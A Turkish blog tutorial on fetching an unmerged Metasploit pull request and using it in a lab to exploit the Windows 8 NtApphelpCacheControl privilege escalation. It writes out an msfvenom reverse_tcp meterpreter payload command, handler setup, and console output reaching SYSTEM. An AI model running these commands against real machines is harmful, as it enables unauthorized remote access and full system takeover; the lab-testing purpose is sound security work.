Merhaba
Bu yazıda, geçtiğimiz haftalarda Google ekibi tarafından PoC kodu ile birlikte yayınlanan Windows 8 NtApphelpCacheControl yerel yetki yükseltme açıklığı ele alınacaktır. Bu açıklığı sömürecek metasploit modülü şu anda metasploit geliştiricileri tarafından hazırlanmakta. Henüz tamamlanmamış olan bu modülü erkenden analiz ederek lab ortamında test edeceğiz.
Açıkcası Google ekibi PoC’yi yayınladığı gece bu yerel güvenlik açığını sömüren kodlar üzerinde modifiyeler gerçekleştirerek yetkili bir meterpreter oturumu elde etmeyi başarmış ve kendi güvenlik testlerimizde kullanıyordum. Şu anda Metasploit ekibi bu konuya el atmış durumda ve benim amatör çalışmamdan çok daha başarılı generic bir modül geliştirmekteler. Bu yazıda da hali hazırda geliştirilme sürecinde olan bu modülü inceleyeceğiz.
Ön Hazırlıklık
Hemen hemen bir çoğumuzun metasploiti Kali Linux içerisinde gelen ön kurulumu ile kullanmaktayız. Bu yazıda ele aldığımız metasploit modülü halen daha geliştirilmekte olduğu için sadece ve sadece metasploit github hesabındanki Pull Request içerisinde bulunmaktadır. Bu nedenle yazının geri kalanındaki adımları takip edecek arkadaşların https://www.mehmetince.net/metasploit-modulu-gelistirme-serisi-gelistirme-ortaminin-kurulmasi/ öncelikle bu yazıyı okumasını ve yazıda adımları tamamlaması gerekmektedir.
Sıkça konuşacağımız olan Pull Request kavramı Git‘in temelinde bulunan bir özellik değildir. Bu özellikle Github’in geliştiricilere sunduğu bir imkandır. Metasploit reposunu fork ettiğinizde mevcut Pull Request’ler sizin reponuza yansımayacaktır. Normal şartlarda herhangi bir modülün geliştirilmesi tamamlanıp metasploit master branch’ine merge edildiğinde bu modüle erişim git fetch [upstream] ile gerçekleştirilebilir. Windows 8 NtApphelpCacheControl zafiyetini sömürmek için geliştirilmekte olan modül henüz master branch’e merge edilmediği için git fetch upstream ile de erişmek mümkün değildir.
Yukarıda bahsettiğim durum nedeniyle bira kaç ufak değişiklikle upstream repo’da gerçekleştirilmiş olan tüm Pull Request’leri localimize indireceğiz.
metasploit klasörü içerisinde bulunan .git/config dosyanızı açtığınızda aşağıdaki sekmeyi göreceksinizdir. Bu sekmede aşağıda verilen son satır bulunmuyor vaziyettedir. Bu nedenle son satırı bu dosyaya eklemelisiniz.
[remote "upstream"] url = git://github.com/rapid7/metasploit-framework.git fetch = +refs/heads/*:refs/remotes/upstream/* fetch = +refs/pull/*/head:refs/remotes/upstream/pr/*
Bu işlem tamamlandıktan sonra aşağıdaki komutu çalıştırarak Rapid7‘in metasploit reposuna gönderilen tüm Pull Request’leri yerelinize indirmiş olacaksınız. Bu işlem biraz uzun sürebilir, zira hali hazırda bekleyen onlarca pull request mevcuttur.
# Pull Requestleri getir git fetch upstream # Yerel master branche geç git checkout master # Yeni bir branch oluştur git checkout -b 'win8local' # İlgili pull requesti buraya merge et mince@rootlab metasploit-framework (win8local) $ git merge pr/4562 Merge made by the 'recursive' strategy. data/exploits/ntapphelpcachecontrol/exploit.dll | Bin 0 -> 115200 bytes .../exploits/ntapphelpcachecontrol/exploit.sln | 22 + .../exploit/CaptureImpersonationToken.cpp | 228 ++++++ .../ntapphelpcachecontrol/exploit/dllmain.cpp | 272 ++++++ .../ntapphelpcachecontrol/exploit/exploit.vcxproj | 106 +++ .../ntapphelpcachecontrol/exploit/my_winternl.h | 866 ++++++++++++++++++++ .../exploits/ntapphelpcachecontrol/exploit/sdb.h | 338 ++++++++ .../exploit/sdb_functions.cpp | 190 +++++ .../ntapphelpcachecontrol/exploit/stdafx.cpp | 9 + .../ntapphelpcachecontrol/exploit/stdafx.h | 14 + .../ntapphelpcachecontrol/exploit/targetver.h | 8 + .../windows/local/ntapphelpcachecontrol.rb | 147 ++++ 12 files changed, 2200 insertions(+) create mode 100755 data/exploits/ntapphelpcachecontrol/exploit.dll create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit.sln create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit/CaptureImpersonationToken.cpp create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit/dllmain.cpp create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit/exploit.vcxproj create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit/my_winternl.h create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit/sdb.h create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit/sdb_functions.cpp create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.cpp create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit/stdafx.h create mode 100755 external/source/exploits/ntapphelpcachecontrol/exploit/targetver.h create mode 100644 modules/exploits/windows/local/ntapphelpcachecontrol.rb
Yukarıda bir dizi komut çalıştırıldığını görmektesiniz. Bu komutlardan ilgili daha önce de belirttiğim gibi Upstream’e gönderilen tüm Pull Request’leri yerele indirmektedir. Ardından pull requestlerden bir tanesini ( Bu yazıda ele alacağımız modül 4562 numaralı pull request) ele almak için yerel master branch’den bir adet yeni branch oluşturuyoruz. Bu oluşturulan branch’e Win8local adını ben keyfi olarak verdim. İstediğiniz bir adı verebilirsiniz. Ardından 4562 numaralı pull request’i bu branch’e merge ederek hali hazırda geliştirilmekte olan bir modülü kullanmaya hazır hale geldik.
Modül Kullanımı
Bu modül mevcut bulunan herhangi bir meterpreter oturumunun ID’sini alarak, bu oturumun ait olduğu makinada Windows 8 NtApphelpCacheControl zafiyetini kullanmaya çalışacaktır. Bu nedenle öncelikle bir adet Windows 8.1 bilgisayara bağlı olan meterpreter oturumu elde etmeliyiz.
Bu bağlamda öncelikle bir adet meterpreter saldırı .exe’si oluşturacağız.
./msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.172.1 lport=4444 -f exe -o /tmp/test.exe
Mevcut windows kullanıcısı hakları ile meterpreter oturumu başlayacak olan exe’miz hazır. Bağlantının açılmasını sağlayacak multi handler’ı başlatalım.
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 172.16.172.1 LHOST => 172.16.172.1 msf exploit(handler) > set LPORT 4444
ve .exe yi hedef windows makinada çalıştırarak oturumu elde edelim.
msf exploit(handler) > exploit [*] Started reverse handler on 172.16.172.1:4444 [*] Starting the payload handler... [*] Sending stage (770048 bytes) to 172.16.172.130 [*] Meterpreter session 1 opened (172.16.172.1:4444 -> 172.16.172.130:49418) at 2015-01-10 14:48:23 +0200 meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: Access is denied. meterpreter >
Gördüğünüz üzere session id değeri 1 olan bir meterpreter oturumu elde ettik. Şimdi sıra Windows 8 NtApphelpCacheControl zafiyetini sömürmeye geldi.
meterpreter > background [*] Backgrounding session 1... msf exploit(handler) > use exploit/windows/local/ntapphelpcachecontrol msf exploit(ntapphelpcachecontrol) > set SESSION 1 SESSION => 1 msf exploit(ntapphelpcachecontrol) > exploit [*] Started reverse handler on 192.168.1.3:4444 [*] Uploading the payload DLL [*] Payload DLL will be: C:\Users\mince\AppData\Local\Temp\LhBFWT.dll [*] Injecting exploit into PID 2952 [*] Creating thread [*] Sending stage (770048 bytes) to 192.168.1.3 [*] Meterpreter session 2 opened (192.168.1.3:4444 -> 192.168.1.3:56269) at 2015-01-10 14:50:41 +0200 meterpreter > getsystem ...got system (via technique 1). meterpreter >
Fark ettiğiniz üzere ilk başta elde ettiğimiz oturum getsystem işleminde başarısız olmuştu. Metasploit modülü ile tetiklediğimiz Windows 8 NtApphelpCacheControl yerel yetki arttırma zafiyeti ile hedef sistemde yetkili bir oturuma sahip olmayı başardık.